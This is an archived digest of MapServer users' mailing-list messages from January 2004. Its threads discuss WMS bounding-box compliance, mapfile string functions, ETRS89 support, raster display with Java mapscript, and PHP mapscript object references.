TopoZone.com
ed at topozone.com


-----Original Message-----
From: Ian Turton [mailto:ian at geography.leeds.ac.uk] 
Sent: Thursday, January 08, 2004 10:56 AM
To: Ed McNierney; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] WMS BBOX vs. Actual Bounds

At 09:20 08/01/2004 -0500, Ed McNierney wrote:
>Ian -
>
>How is it possible to honor all parameters when they are not
consistent?

You have different scales in the X and Y directions.

>I certainly understand the need to deal with unusual output devices as 
>you describe, but it is not very difficult for the client to address 
>that situation.

It is difficult for the client to deal with if it asks for the image to
be distorted but the one it gets back isn't. Mapserver should respect
the WMS spec on this point (at least in wms mode).

Ian

Ian Turton, Director, Centre for Computational Geography, University of
Leeds, Leeds, LS2 9JT http://www.geog.leeds.ac.uk/people/i.turton
http://www.ccg.leeds.ac.uk http://www.geotools.org
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308





From hugo at pbh.gov.br  Thu Jan  8 08:58:19 2004
From: hugo at pbh.gov.br (Hugo Nathaniel Rodrigues)
Date: Thu, 8 Jan 2004 14:58:19 -0200
Subject: [Mapserver-users] happiness
Message-ID: <005401c3d608$9dccc130$7a00110a@ESTIVA>

This is a multi-part message in MIME format.

------=_NextPart_000_0051_01C3D5F7.DA29B270
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

i just finished one little application (my first) where you can type one =
address with incomplete names of street and town, the application will =
found all the matches and will give you the list to you to choose one, =
then you type the number of your address and the application will show =
you the map of the city with one star symbol in the location of the =
address you typed... worked very well!!!!!!!!

i make it in php accessing ms-sql database and php_mapscript + mapserver =
(apache / php)

thanks for all the support from the forum, special thanks to you daniel, =
good work guys, good work!!!!!!
Hugo Rodrigues
Analista/Consultor
SSSS - Prodabel
------=_NextPart_000_0051_01C3D5F7.DA29B270
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1276" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>i just finished one little application =
(my first)=20
where you can type one address with incomplete names of street and town, =
the=20
application will found all the matches and will give you the list to you =
to=20
choose one, then you type the number of your address and the application =
will=20
show you the map of the city with one star symbol in the location of the =
address=20
you typed... worked very well!!!!!!!!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2>i make it in php accessing ms-sql =
database and=20
php_mapscript + mapserver (apache / php)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2>thanks for all the support from the =
forum, special=20
thanks to you daniel, good work guys, good work!!!!!!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Hugo =
Rodrigues<BR>Analista/Consultor<BR>SSSS -=20
Prodabel</FONT></DIV></BODY></HTML>

------=_NextPart_000_0051_01C3D5F7.DA29B270--



From steve.lime at dnr.state.mn.us  Thu Jan  8 09:00:03 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 08 Jan 2004 11:00:03 -0600
Subject: [Mapserver-users] Expression parser error
Message-ID: <sffd385d.061@co5.dnr.state.mn.us>

Did you check the values in the ZPIL column? What do they look like?
Sounds to me like there may be non-numeric data in it. Can you share it
so I could have a look?

Steve


From steve.lime at dnr.state.mn.us  Thu Jan  8 09:04:16 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 08 Jan 2004 11:04:16 -0600
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
Message-ID: <sffd393f.087@co5.dnr.state.mn.us>

There was a bug filed way back regarding non-square pixels and there has
been some progress in supporting this, but it has not been a high
priority at all- most folks want square pixels. The work-around I
mentioned yesterday is still quite reasonable and works well.

Steve

>>> "Ed McNierney" <ed at topozone.com> 1/8/2004 10:46:39 AM >>>
Ian -

If you have different scales in X and Y directions, the projection
should reflect that.  If the projection is not defined to have
different
scales, then asking for different scales is not consistent.

If I ask for a 1,000-meter by 1,000-meter area in UTM projection in an
image that's 300 pixels by 200 pixels, it's not possible to do all
three.  If I keep the area 1,000x1,000 and stretch it to fit in
300x200
pixels, then the projection is no longer UTM.  If I keep the area
1,000x1,000 and the projection UTM, I have to modify the image size
and
return something square - 300x300, for example.  If I keep the
projection UTM and the output image 300x200, then I have to modify the
map area to something 1.5:1 - 1,500x1,000 meters, for example.
MapServer, of course, chooses the last option, but I have a hard time
seeing how any one of the three choices is the "right" answer.

If you're creating output for a device with non-square pixels, it
seems
that the way to handle that would be to provide an additional input
parameter to the WMS interface, describing the aspect ratio of the the
pixels.  This would still allow a client to make an inconsistent
request, but it would allow requests intended for non-square pixels to
be made consistent with the specified projection.

However, you are absolutely correct that this is NOT how the WMS
specification handles it.  The specification does require the server
to
stretch the image to fit the box, thereby presuming that any
inconsistency in the request is due to a careful client requesting an
image for non-square pixels, rather than an error.

I suppose support for non-rectangular pixels can be left for another
discussion <g>.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
ed at topozone.com 


-----Original Message-----
From: Ian Turton [mailto:ian at geography.leeds.ac.uk] 
Sent: Thursday, January 08, 2004 10:56 AM
To: Ed McNierney; mapserver-users at lists.gis.umn.edu 
Subject: RE: [Mapserver-users] WMS BBOX vs. Actual Bounds

At 09:20 08/01/2004 -0500, Ed McNierney wrote:
>Ian -
>
>How is it possible to honor all parameters when they are not
consistent?

You have different scales in the X and Y directions.

>I certainly understand the need to deal with unusual output devices as

>you describe, but it is not very difficult for the client to address 
>that situation.

It is difficult for the client to deal with if it asks for the image
to
be distorted but the one it gets back isn't. Mapserver should respect
the WMS spec on this point (at least in wms mode).

Ian

Ian Turton, Director, Centre for Computational Geography, University
of
Leeds, Leeds, LS2 9JT http://www.geog.leeds.ac.uk/people/i.turton 
http://www.ccg.leeds.ac.uk http://www.geotools.org 
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From arnulf.christl at ccgis.de  Thu Jan  8 09:07:29 2004
From: arnulf.christl at ccgis.de (Arnulf Christl)
Date: Thu, 08 Jan 2004 18:07:29 +0100
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
In-Reply-To: <3FFD6C3B.308@magma.ca>
References: <13858AA1A74F30419F319ACB66A9D12203AFE1@mercator.topozone.com> <6.0.1.1.0.20040108140734.04a1ee80@geog.leeds.ac.uk> <3FFD6C3B.308@magma.ca>
Message-ID: <3FFD8E51.2060000@ccgis.de>

Paul Spencer wrote:

> For the record, I believe that the ability to return a map with 
> non-square pixels is one of the few areas (or the only one?) in which 
> MapServer DOES NOT comply with the WMS specification and, in fact, 
> prevents anyone from seeking WMS compliance certification for MapServer. 

Hi,
we run accross this problem all the time when integrating MS with other
WMS - and it always takes a lot of time to explain the implications. The
WMS spec is very specific about this (as Ian stated) and it does make
sense when you think about it long enough.
Most proprietary mapserver in the beginning had the same problem and we
came accross at least 5 different ways to "cheat" the map extent (lower
left, upper left, center center, center top, center bottom).
We hope that it will be implemented correctly (as specified in the WMS
spec) in UMN MapServer soon because many of the proprietary packages out
there already have done it and it gets more and more complicated to
integrate these compliant WMS with the UMN MS.
Probalby it will cause an uproar of all those users who currently use
the "wrong" implementation and got used to it or have adapted their
software to manage this problem (as we have done).

> Note I am not expressing an opinion either way here ;)

We do express an opinion: Better change it now as someday (soon) it will
have to be done anyway (& it doesn't matter whether we think its nicer
or not).

Cheers, Arnulf.

>
> Cheers,
>
> Paul
>
> Ian Turton wrote:
>
>> At 08:56 08/01/2004 -0500, Ed McNierney wrote:
>>
>>> Ian -
>>>
>>> I can't agree that this is poor behavior.  MapServer should also be
>>> expected to return a map in the PROJECTION requested, which is
>>> impossible under your scheme.  In WMS mode the SRS is part of the
>>> request and should be respected just as much as the WIDTH, HEIGHT, and
>>> BBOX parameters, shouldn't it?
>>
>>
>>
>> Indeed - they are all important. However the WMS spec is very 
>> specific about how to handle this case and it says you must honour 
>> all the parameters. Otherwise people like the origianl poster are 
>> left not knowing what they got back.
>>
>>> If you want the image "distorted", you're not looking for a map - 
>>> you're
>>> making a picture.  If you can define the distortion in a
>>> cartographically accurate way (e.g. a picture), then it is indeed a 
>>> map;
>>> but you can also provide MapServer with the definition of that
>>> projection and cause it to "distort" the image the way you want.
>>
>>
>>
>> For example, suppose I'm displaying my picture/map on a display with 
>> non square pixels?
>>
>> Ian
>>
>> Ian Turton, Director, Centre for Computational Geography, University 
>> of Leeds, Leeds, LS2 9JT
>> http://www.geog.leeds.ac.uk/people/i.turton 
>> http://www.ccg.leeds.ac.uk http://www.geotools.org
>> +44 (0) 113 343 3392 fax: +44 (0) 113 343 3308
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>





From arnulf.christl at ccgis.de  Thu Jan  8 09:07:31 2004
From: arnulf.christl at ccgis.de (Arnulf Christl)
Date: Thu, 08 Jan 2004 18:07:31 +0100
Subject: [Mapserver-users] Server load statistics
In-Reply-To: <WorldClient-F200401080939.AA39464358@mail-online.dk>
References: <WorldClient-F200401080939.AA39464358@mail-online.dk>
Message-ID: <3FFD8E53.3050700@ccgis.de>

Palle Due Larsen wrote:

>Hi,
>
>I'm trying to access the potential of mapserver in terms of maps
>delivered per month. I am looking for references to sites that deliver
>in excess of 3 million maps per month. Do any of you run a site or know
>of a site like that using mapserver? I'm sure it possible, what I'm
>looking for are some references/links.
>
>Best regards
>
>Palle Due Larsen
>Carl Bro GIS&IT
>  
>
Hi,
we have set up a robot on one of our faster servers some time ago and
produced 430,000 map requests in 24 hours. Each map had an image size of
between 5 and 40kb, the MAP contained a PostGIS layer with 200,000
polylines and 36 GB TIFF aerial images in about 700 tiles.
We also have a much slower server which takes up to 4 seconds per
request because of enormous amounts of data... and if you then take into
account that request peaks are caused by traffic fluctuations you cannot
say anything much about general performance anyway.
In the end we can only assure you that it will be hard to find anything
faster than a well tuned UMN MapServer anyway.

Cheers, Arnulf.




From Tom.Kralidis at ec.gc.ca  Thu Jan  8 09:25:15 2004
From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington])
Date: Thu, 8 Jan 2004 12:25:15 -0500
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
Message-ID: <2576812186CDD411BF1500508B6DCE9505D49451@ECNWRI1.ontario.int.ec.gc.ca>

Isn't this the one test which failed for the OGC conformance testing?  IMHO,
we should try to fix this one.

..Tom

> -----Original Message-----
> From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] 
> Sent: Thursday, January 08, 2004 12:04 PM
> To: ian at geography.leeds.ac.uk; 
> mapserver-users at lists.gis.umn.edu; ed at topozone.com
> Subject: RE: [Mapserver-users] WMS BBOX vs. Actual Bounds
> 
> 
> There was a bug filed way back regarding non-square pixels 
> and there has been some progress in supporting this, but it 
> has not been a high priority at all- most folks want square 
> pixels. The work-around I mentioned yesterday is still quite 
> reasonable and works well.
> 
> Steve
> 
> >>> "Ed McNierney" <ed at topozone.com> 1/8/2004 10:46:39 AM >>>
> Ian -
> 
> If you have different scales in X and Y directions, the 
> projection should reflect that.  If the projection is not 
> defined to have different scales, then asking for different 
> scales is not consistent.
> 
> If I ask for a 1,000-meter by 1,000-meter area in UTM 
> projection in an image that's 300 pixels by 200 pixels, it's 
> not possible to do all three.  If I keep the area 1,000x1,000 
> and stretch it to fit in 300x200 pixels, then the projection 
> is no longer UTM.  If I keep the area 1,000x1,000 and the 
> projection UTM, I have to modify the image size and return 
> something square - 300x300, for example.  If I keep the 
> projection UTM and the output image 300x200, then I have to 
> modify the map area to something 1.5:1 - 1,500x1,000 meters, 
> for example. MapServer, of course, chooses the last option, 
> but I have a hard time seeing how any one of the three 
> choices is the "right" answer.
> 
> If you're creating output for a device with non-square 
> pixels, it seems that the way to handle that would be to 
> provide an additional input parameter to the WMS interface, 
> describing the aspect ratio of the the pixels.  This would 
> still allow a client to make an inconsistent request, but it 
> would allow requests intended for non-square pixels to be 
> made consistent with the specified projection.
> 
> However, you are absolutely correct that this is NOT how the 
> WMS specification handles it.  The specification does require 
> the server to stretch the image to fit the box, thereby 
> presuming that any inconsistency in the request is due to a 
> careful client requesting an image for non-square pixels, 
> rather than an error.
> 
> I suppose support for non-rectangular pixels can be left for 
> another discussion <g>.
> 
> 	- Ed
> 
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com
> ed at topozone.com 
> 
> 
> -----Original Message-----
> From: Ian Turton [mailto:ian at geography.leeds.ac.uk] 
> Sent: Thursday, January 08, 2004 10:56 AM
> To: Ed McNierney; mapserver-users at lists.gis.umn.edu 
> Subject: RE: [Mapserver-users] WMS BBOX vs. Actual Bounds
> 
> At 09:20 08/01/2004 -0500, Ed McNierney wrote:
> >Ian -
> >
> >How is it possible to honor all parameters when they are not
> consistent?
> 
> You have different scales in the X and Y directions.
> 
> >I certainly understand the need to deal with unusual output 
> devices as
> 
> >you describe, but it is not very difficult for the client to address
> >that situation.
> 
> It is difficult for the client to deal with if it asks for 
> the image to be distorted but the one it gets back isn't. 
> Mapserver should respect the WMS spec on this point (at least 
> in wms mode).
> 
> Ian
> 
> Ian Turton, Director, Centre for Computational Geography, 
> University of Leeds, Leeds, LS2 9JT 
> http://www.geog.leeds.ac.uk/people/i.turton 
> 
http://www.ccg.leeds.ac.uk http://www.geotools.org 
+44 (0) 113 343 3392 fax: +44 (0) 113 343 3308



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From elrod at oaktownunderground.com  Thu Jan  8 09:10:21 2004
From: elrod at oaktownunderground.com (Leah Roderman)
Date: Thu,  8 Jan 2004 09:10:21 -0800 (PST)
Subject: [Mapserver-users] Re: Expression parser error
In-Reply-To: <sffd385d.062@co5.dnr.state.mn.us>
Message-ID: <5182146.1073581821864.JavaMail.root@homer.codemagi.com>

Aha, that would be it:

$: ogrinfo -ro -where 'ZIPL > 94600 AND ZIPL < 94700' data/tgr06001lkA.shp tgr06001lkA
INFO: Open of `data/tgr06001lkA.shp'
using driver `ESRI Shapefile' successful.
ERROR 1: Attempt to use STRING field `ZIPL' with numeric comparison `>'.

So, rather than using one query to display all geometry objects as a single layer, I should create multiple layers, each displaying the object of a matching (zip code) string.


>Did you check the values in the ZPIL column? What do they look like?
>Sounds to me like there may be non-numeric data in it. Can you share it
>so I could have a look?
>
>Steve
>


From woodbri at swoodbridge.com  Thu Jan  8 11:50:01 2004
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Thu, 08 Jan 2004 14:50:01 -0500
Subject: [Mapserver-users] Mapfile reference question
Message-ID: <3FFD6E19.32496.D0F27DEB@localhost>

Hi all,

I seem to remember using some string function in the mapfile but I 
can't find any reference to them. Do you know about them? can you add 
them to the mapfile-reference.

http://mapserver.gis.umn.edu/doc40/mapfile-reference.html

It was used like:

TEXT (mid(3,-1,[FIELD]))
or maybe
TEXT (mid(3,len([FIELD]),[FIELD])

to generate extract characters 3..len([FIELD])

it seems to me that there were functions like:

mid(start,stop,string)
left(num,string)
right(num,string)
len(string)
concat(string1,string2,...)

Have these gone away, was I dreaming, or replaced by regular 
expressions? If these are still valid, they should get added to the 
Mapfile reference.

-Steve W.


From morissette at dmsolutions.ca  Thu Jan  8 11:58:29 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 08 Jan 2004 14:58:29 -0500
Subject: [Mapserver-users] WFS and ETRS89
In-Reply-To: <opr1f8fbkqmi5aim@localhost>
References: <opr1f8fbkqmi5aim@localhost>
Message-ID: <3FFDB665.9090400@dmsolutions.ca>

Bart van den Eijnden wrote:
> 
> is it possible to have a Mapserver Web Feature Server operate on a 
> shapefile which is in the ETRS89 coordinate system, and then have it 
> generate GML with the X,Y,Z values?
> 
> I see there is currently no entry for ETRS89 in the EPSG file delivered 
> with Mapserver (ETRS89 has afaik EPSG code 4346).
> 
> Is it just a matter of adding the parameters and then it will work?
> 

You'll have to define EPSG:4346 in your epsg file. I don't think you'll 
be able to get MapServer to use EPSG:4346 without a definition in the 
epsg file.

I don't know why it's not already there if you say that it's listed by 
EPSG, maybe Frank would know (since he's the PROJ4 maintainer). BTW, it 
might help him to know in which version of the EPSG database you found 
that code.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From bartvde at xs4all.nl  Thu Jan  8 12:15:08 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Thu, 08 Jan 2004 21:15:08 +0100
Subject: [Mapserver-users] WFS and ETRS89
In-Reply-To: <3FFDB665.9090400@dmsolutions.ca>
References: <opr1f8fbkqmi5aim@localhost> <3FFDB665.9090400@dmsolutions.ca>
Message-ID: <opr1g3vioemi5aim@localhost>

Hi Daniel,

I found it in the EPSG_v64.mdb (Version 6.4, 15-10-2003), but the revision 
date in the database for this CRS says 07-12-2002 so it must have been 
present since then.

But it is not a problem for Mapserver that is a 3D CRS?

Best regards,
Bart

On Thu, 08 Jan 2004 14:58:29 -0500, Daniel Morissette 
<morissette at dmsolutions.ca> wrote:

> Bart van den Eijnden wrote:
>>
>> is it possible to have a Mapserver Web Feature Server operate on a 
>> shapefile which is in the ETRS89 coordinate system, and then have it 
>> generate GML with the X,Y,Z values?
>>
>> I see there is currently no entry for ETRS89 in the EPSG file delivered 
>> with Mapserver (ETRS89 has afaik EPSG code 4346).
>>
>> Is it just a matter of adding the parameters and then it will work?
>>
>
> You'll have to define EPSG:4346 in your epsg file. I don't think you'll 
> be able to get MapServer to use EPSG:4346 without a definition in the 
> epsg file.
>
> I don't know why it's not already there if you say that it's listed by 
> EPSG, maybe Frank would know (since he's the PROJ4 maintainer). BTW, it 
> might help him to know in which version of the EPSG database you found 
> that code.
>
> Daniel



-- 
  


From morissette at dmsolutions.ca  Thu Jan  8 12:29:01 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 08 Jan 2004 15:29:01 -0500
Subject: [Mapserver-users] WFS and ETRS89
In-Reply-To: <opr1g3vioemi5aim@localhost>
References: <opr1f8fbkqmi5aim@localhost> <3FFDB665.9090400@dmsolutions.ca> <opr1g3vioemi5aim@localhost>
Message-ID: <3FFDBD8D.1080301@dmsolutions.ca>

Bart van den Eijnden wrote:
> Hi Daniel,
> 
> I found it in the EPSG_v64.mdb (Version 6.4, 15-10-2003), but the 
> revision date in the database for this CRS says 07-12-2002 so it must 
> have been present since then.
> 
> But it is not a problem for Mapserver that is a 3D CRS?
> 

OOpps... I didn't realize it was a 3D CRS... then you're out of luck: 
MapServer doesn't handle Z values.

-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From James.P.Buzbee at lmco.com  Thu Jan  8 12:58:25 2004
From: James.P.Buzbee at lmco.com (Jim Buzbee)
Date: Thu, 08 Jan 2004 13:58:25 -0700
Subject: [Mapserver-users] Clueless newbie question
In-Reply-To: <3FFC3639.1030308@pobox.com>
References: <DB30EB86-40B1-11D8-ACF8-000A95D9DE04@where2getit.com> <3FFC2C2C.5040001@lmco.com> <3FFC3639.1030308@pobox.com>
Message-ID: <3FFDC471.7000605@lmco.com>


Frank Warmerdam wrote:

> Jim Buzbee wrote:
> 
>>
>> I've been working on a quick proof-of-concept using mapserver and 
>> don't understand the process of creating a map file for some data I 
>> acquired.
>>
>

...

> 
> Jim,
> 
> This is an arc/info binary grid coverage.  You can use it directly
> in MapServer if you have GDAL support built-in, or use GDAL to convert it
> to other formats.
> 
>   http://www.remotesensing.org/gdal/frmt_various.html#AIG
> 
> Good luck,
> 

Thanks to everyone who pointed my to GDAL.  I've been experimenting with 
  it but have first taken a step back to see if I can just display a 
simple raster image.

I created a minimal map file like so :

NAME DEMO
STATUS ON
SIZE 600 600
EXTENT 388107.634400379 5203120.88405952 500896.339019834 5310243.30613897
UNITS METERS
SHAPEPATH "data"

LAYER
   NAME "raster"
   DATA "demo.jpg"
   TYPE RASTER
   STATUS ON
END

END

Where demo.jpg is a 600x600 grayscale jpeg image in my data directory. I 
then created a demo.wld file in the data directory like so :

2
0.0000000000
0.0000000000
-2
388107.634400379
5203120.88405952


I wrote a little Java program :


import java.io.*;
import edu.umn.gis.mapscript.*;

public class Test
{
    public static void main(String[] args) throws IOException
    {
       mapObj  map;
       imageObj image;

       System.loadLibrary("mapscript");

       map = new mapObj(args[0]);

       if ( map == null )
       {
          System.out.println("Could not create Map Object " + args[0] );
          System.exit(2);
       }

       image = map.draw();

       if ( image != null )
       {
          image.save("demo.png");
       }
       else
       {
          System.out.println("Error creating map using \"" + args[0] +"\"");
          System.exit(1);
       }
    }
}


Mapserver reports the following capabilities :

mapserv -v MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP 
SUPPORTS=FREETYPE INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE


The java program works fine using the map file from the ms_demo included 
in the 4.0.1 distribution. Using my map file, the program runs 
successfully but I just end up with a 600x600 solid white demo.png file.

I suspect the problem may be that the registration is off because I just 
copied the values from the demo data (without really understanding them...).

Any assistance is appreciated.

Jim Buzbee





From rsanabria at prosis.com  Thu Jan  8 13:05:55 2004
From: rsanabria at prosis.com (rsanabria at prosis.com)
Date: Thu, 08 Jan 2004 16:05:55 -0500 (COT)
Subject: [Mapserver-users] (no subject)
Message-ID: <1073595955.3ffdc63304e69@fiona.procalculo.com>

Hi,

Is There free tool to Geocode with Mapserver?

Thanks

Ricardo


From bwragg at tpg.com.au  Thu Jan  8 13:59:20 2004
From: bwragg at tpg.com.au (Benjamin Wragg)
Date: Fri, 9 Jan 2004 08:29:20 +1030
Subject: [Mapserver-users] Looseing reference to classes when ms_newClassObj is run
Message-ID: <000001c3d632$ab69eaa0$0200a8c0@mapping12>

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C3D68A.ADF82EA0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi all,
 
I'm currently writing some PHP classes to wrap some functions around the
Mapscript classes like the layer, class and map classes. I've run into
some trouble with references to objects and it seems that the
ms_newClassObj function is whats messing things up. I know that sounds
strange but let me try and explain.
 
I have made my own php LayerObj object which has a msLayer property
($layer->msLayer) which holds a layer object that is returned from
running ms_newLayerObj. So I create a new LayerObj and I get a
ms_newLayerObj created as a property of my object. eg.
 
    $layer = new LayerObj($map);
    //I now can access the ms layer object through
    $layer->msLayer->('name','Test layer');
 
    class LayerObj{
        var $msLayer;
 
        function LayerObj(&$mapObj){
            $this->msLayer=ms_newLayerObj($mapObj);
        }
        ...other methods
    }
 
I've written some functions in my LayerObj which act as a wrapper to the
mapserver layer functions. e.g set connection type, etc. These all work
well. When I compare the properties of $layer->msLayer to the properties
of $map->getLayer(x) I can see they are both pointing to the some object
in memory. I've got Zend studio and I can change a property of
$layer->msLayer and I see the changes reflected in the $map->getLayer(x)
instantly.
 
All the code works well until I get too the line where I add a Class to
the layer:
 
    $class=ms_newClassObj($layer->msLayer);
    
If at this point I check the numclass property I get two different
results:
 
    $layer->msLayer->numclasses;
    //Prints 1
 
    $map->getlayer(x)->numclasses
    //Prints 0
 
It seems as soon as I run ms_newClassObj the reference between the
mapserver layer and the mapserver map object gets severed! Any ideas?
 
Thanks,
 
Benjamin Wragg
 

------=_NextPart_000_0001_01C3D68A.ADF82EA0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<TITLE>Message




Hi=20
all,


 


I'm =
currently=20
writing some PHP classes to wrap some functions around the Mapscript =
classes=20
like the layer, class and map classes. I've run into some trouble with=20
references to objects and it seems that the ms_newClassObj function is =
whats=20
messing things up. I know that sounds strange but let me try and=20
explain.


 


I have =
made my=20
own php LayerObj object which has a msLayer property=20
($layer->msLayer) which holds a layer object that is returned =
from=20
running ms_newLayerObj. So I create a new LayerObj and I get a =
ms_newLayerObj=20
created as a property of my object. eg.


 


   =20
$layer =3D new LayerObj($map);


   =20
//I now can access the ms layer object through


   =20
$layer->msLayer->('name','Test layer');


 


   =20
class LayerObj{


        =
var=20
$msLayer;


 


        =
function=20
LayerObj(&$mapObj){


       &nbs=
p;   =20
$this->msLayer=3Dms_newLayerObj($mapObj);


       =20
}


        =
...other=20
methods


    }


 


I've =
written some=20
functions in my LayerObj which act as a wrapper to the mapserver layer=20
functions. e.g set connection type, etc. These all work well. When I =
compare the=20
properties of $layer->msLayer to the properties =
of $map->getLayer(x)=20
I can see they are both pointing to the some object in memory. I've got =
Zend=20
studio and I can change a property of $layer->msLayer and I see the =
changes=20
reflected in the $map->getLayer(x) instantly.


 


All =
the code works=20
well until I get too the line where I add a Class to the=20
layer:


 


   =20
$class=3Dms_newClassObj($layer->msLayer);


   =20



If at =
this point=20
I check the numclass property I get two different=20
results:


 


   =20
$layer->msLayer->numclasses;


   =20
//Prints 1


 


   =20
$map->getlayer(x)->numclasses


   =20
//Prints 0


 


It =
seems as soon as=20
I run ms_newClassObj the reference between the mapserver layer and the =
mapserver=20
map object gets severed! Any ideas?


 


Thanks,


 


Benjamin=20
Wragg


 


------=_NextPart_000_0001_01C3D68A.ADF82EA0--



From steve.lime at dnr.state.mn.us  Thu Jan  8 14:16:17 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 08 Jan 2004 16:16:17 -0600
Subject: [Mapserver-users] Mapfile reference question
Message-ID: 

You are sort of dreaming. There is a length function, and concatinating
strings is a built in feature (just plop the columns one after another
in the TEXT definition. The others would be easy to add if you want to
roll up your sleeves and edit mapparser.y.

Regardless, yes those that exist should be documented.

Steve

>>>  1/8/2004 1:50:01 PM >>>
Hi all,

I seem to remember using some string function in the mapfile but I 
can't find any reference to them. Do you know about them? can you add 
them to the mapfile-reference.

http://mapserver.gis.umn.edu/doc40/mapfile-reference.html 

It was used like:

TEXT (mid(3,-1,[FIELD]))
or maybe
TEXT (mid(3,len([FIELD]),[FIELD])

to generate extract characters 3..len([FIELD])

it seems to me that there were functions like:

mid(start,stop,string)
left(num,string)
right(num,string)
len(string)
concat(string1,string2,...)

Have these gone away, was I dreaming, or replaced by regular 
expressions? If these are still valid, they should get added to the 
Mapfile reference.

-Steve W.
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From Jean-Francois.Doyon at CCRS.NRCan.gc.ca  Thu Jan  8 14:30:01 2004
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Thu, 8 Jan 2004 17:30:01 -0500
Subject: [Mapserver-users] Mapfile reference question
Message-ID: <7CDD7B94357FD5119E800002A537C46E0B8B7230@s5-ccr-r1.ccrs.nrcan.gc.ca>

Heh, I'd never even heard of these!

Please file a bug on the mapserver website, there's a category for MapServer
Documentation ...

Thanks,
J.F.

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Steve Lime
Sent: Thursday, January 08, 2004 5:16 PM
To: mapserver-users at lists.gis.umn.edu; woodbri at swoodbridge.com
Subject: Re: [Mapserver-users] Mapfile reference question


You are sort of dreaming. There is a length function, and concatinating
strings is a built in feature (just plop the columns one after another
in the TEXT definition. The others would be easy to add if you want to
roll up your sleeves and edit mapparser.y.

Regardless, yes those that exist should be documented.

Steve

>>>  1/8/2004 1:50:01 PM >>>
Hi all,

I seem to remember using some string function in the mapfile but I 
can't find any reference to them. Do you know about them? can you add 
them to the mapfile-reference.

http://mapserver.gis.umn.edu/doc40/mapfile-reference.html 

It was used like:

TEXT (mid(3,-1,[FIELD]))
or maybe
TEXT (mid(3,len([FIELD]),[FIELD])

to generate extract characters 3..len([FIELD])

it seems to me that there were functions like:

mid(start,stop,string)
left(num,string)
right(num,string)
len(string)
concat(string1,string2,...)

Have these gone away, was I dreaming, or replaced by regular 
expressions? If these are still valid, they should get added to the 
Mapfile reference.

-Steve W.
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From morissette at dmsolutions.ca  Thu Jan  8 15:08:38 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 08 Jan 2004 18:08:38 -0500
Subject: [Mapserver-users] Re: PROJECTION error in mapserver
In-Reply-To: <4009.203.45.118.163.1073602600.squirrel@www.hpfm.com.au>
References: <4009.203.45.118.163.1073602600.squirrel@www.hpfm.com.au>
Message-ID: <3FFDE2F6.5030502@dmsolutions.ca>

Please send your questions to the mapserver-users list, that will give 
you the best chances of getting a timely reply, and the solution to your 
problem will be archived for others who may run into the same thing 
later.  I have CC'd this reply to the list.


